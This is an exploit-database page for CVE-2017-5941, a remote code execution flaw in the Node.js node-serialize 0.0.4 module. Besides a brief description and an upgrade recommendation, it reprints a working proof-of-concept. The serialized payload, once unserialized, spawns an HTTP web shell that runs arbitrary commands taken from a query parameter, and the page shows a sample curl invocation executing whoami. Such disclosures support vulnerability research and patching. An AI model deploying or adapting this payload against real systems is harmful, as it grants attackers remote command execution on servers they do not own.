Node.JS - 'node-serialize' Remote Code Execution (3)

vendor:

serialize

by:

Beren Kuday GORUN

9,8

CVSS

HIGH

Remote Code Execution

CWE

Product Name: serialize

Affected Version From: 0.0.4

Affected Version To: 0.0.4

Patch Exists: YES

Related CWE: 2017-5941

CPE: a:luin:serialize

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows & Ubuntu

2021

Node.JS – ‘node-serialize’ Remote Code Execution (3)

A vulnerability in the node-serialize module of Node.js could allow an unauthenticated, remote attacker to execute arbitrary code on the targeted system. The vulnerability exists due to improper validation of user-supplied input by the affected software. An attacker could exploit this vulnerability by sending a crafted serialized payload to the targeted system. A successful exploit could allow the attacker to execute arbitrary code on the targeted system.

Mitigation:

Upgrade to the latest version of node-serialize module of Node.js.

Source

Exploit-DB raw data:

# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941

var serialize = require('node-serialize');
var payload = {
    "webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps  = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
    }
serialize.unserialize(serialize.serialize(payload))

/*
# after being exploited

┌──(root@kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin

*/